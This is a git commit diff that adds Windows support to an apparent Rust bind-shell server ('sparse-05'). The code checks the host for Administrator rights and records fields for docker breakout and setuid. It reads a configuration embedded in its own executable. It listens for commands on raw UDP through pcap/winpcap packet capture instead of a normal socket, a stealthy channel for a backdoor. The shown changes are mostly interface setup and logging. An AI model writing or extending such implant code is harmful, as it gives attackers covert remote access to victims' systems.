Added Windows support for the bind shell

Brings in support from winpcap as npcap has a restrictive license
This commit is contained in:
Andrew Rioux
2024-01-24 19:12:45 -05:00
parent 862dc3e743
commit af5ceb66ab
10 changed files with 97 additions and 26 deletions

View File

@@ -0,0 +1 @@
windows

View File

@@ -4,6 +4,7 @@ use std::path::PathBuf;
use sparse_05_common::messages::{Capabilities, OperatingSystem, TransportType};
#[derive(Debug)]
pub struct SrvCapabilities {
pub operating_system: OperatingSystem,
pub docker_container: bool,
@@ -140,8 +141,12 @@ fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
docker_breakout: false,
setuid: false,
root: userent.as_deref() == Some("Administrator"),
userent,
transport: TransportType::Udp,
userent: userent.clone(),
transport: TransportType::RawUdp, /*if userent.as_deref() == Some("Administrator") {
TransportType::RawUdp
} else {
TransportType::Udp
},*/
hostname: None,
})
}

View File

@@ -19,10 +19,24 @@ impl Interface {
match ttype {
#[cfg(feature = "pcap")]
TransportType::RawUdp => {
if cfg!(target_os = "windows") {
let interfaces = pcap_sys::PcapDevIterator::new()?;
for interface in interfaces {
log::debug!("Found interface: {}", interface);
}
}
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
.find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
.ok_or(anyhow!("could not get an ethernet interface"))?;
let interface_name = if cfg!(windows) {
interfaces
.next()
.ok_or(anyhow!("could not get an ethernet interface"))?
} else {
interfaces
.find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
.ok_or(anyhow!("could not get an ethernet interface"))?
};
let interface = loop {
thread::sleep(std::time::Duration::from_millis(250));
@@ -47,14 +61,24 @@ impl Interface {
&interface_name
));
retry!(interface.set_buffer_size(8192));
retry!(interface.set_buffer_size(1024));
retry!(interface.set_non_blocking(false));
retry!(interface.set_promisc(false));
retry!(interface.set_timeout(10));
log::debug!("Configured raw listener interface");
let interface = retry!(interface.activate());
retry!(interface.set_filter(&format!("inbound and port {port}"), true, None));
log::debug!("Activated raw listener interface");
if cfg!(windows) {
retry!(interface.set_filter(&format!("udp port {port}"), true, None));
} else {
retry!(interface.set_filter(&format!("inbound and udp port {port}"), true, None));
}
log::debug!("Updated filter for listener interface");
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not properly support ethernet");
@@ -79,11 +103,11 @@ impl Interface {
pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> {
match self {
#[cfg(feature = "pcap")]
Self::RawUdp(interface, _) => {
Self::RawUdp(interface, port) => {
let arc = Arc::new(interface);
Ok((
InterfaceSender::RawUdp(Arc::clone(&arc)),
InterfaceReceiver::RawUdp(arc),
InterfaceReceiver::RawUdp(arc, port),
))
}
Self::Udp(interface, port) => {
@@ -129,7 +153,7 @@ impl InterfaceSender {
pub enum InterfaceReceiver {
#[cfg(feature = "pcap")]
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>, u16),
Udp(UdpSocket, u16),
}
@@ -140,8 +164,19 @@ impl InterfaceReceiver {
{
match self {
#[cfg(feature = "pcap")]
Self::RawUdp(interf) => interf.listen(
Self::RawUdp(interf, port) => interf.listen(
move |_, packet| {
use packets::*;
let Ok(Layer3Pkt::IPv4Pkt(ip_pkt)) = packet.get_layer3_pkt() else {
return Ok(false);
};
let Ok(Layer4Pkt::UDP(udp_pkt)) = ip_pkt.get_layer4_packet() else {
return Ok(false);
};
log::debug!("Received packet bound for {}!", udp_pkt.dstport());
if udp_pkt.dstport() != *port {
return Ok(false);
}
let _ = (f)(packet.to_owned());
Ok(false)
},

View File

@@ -20,12 +20,18 @@ mod interface;
fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Off)
.with_module_level("sparse-05-server", log::LevelFilter::Info)
.with_level(log::LevelFilter::Debug)
.with_module_level("sparse-05-server", log::LevelFilter::Debug)
.init()?;
log::debug!("Debug logging enabled");
log::info!("Informational logging enabled");
log::warn!("Warning logging enabled");
let capabilities = Arc::new(capabilities::get_capabilities()?);
log::debug!("Capabilities: {:?}", capabilities);
let config_bytes = catconf::read_from_exe(CONFIG_SEPARATOR, 512)?;
if config_bytes.len() != 66 {
bail!("could not load configuration");
@@ -74,6 +80,8 @@ fn main() -> anyhow::Result<()> {
let pkt = pkt.pkt();
log::debug!("Received packet!");
let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()? else {
todo!()
};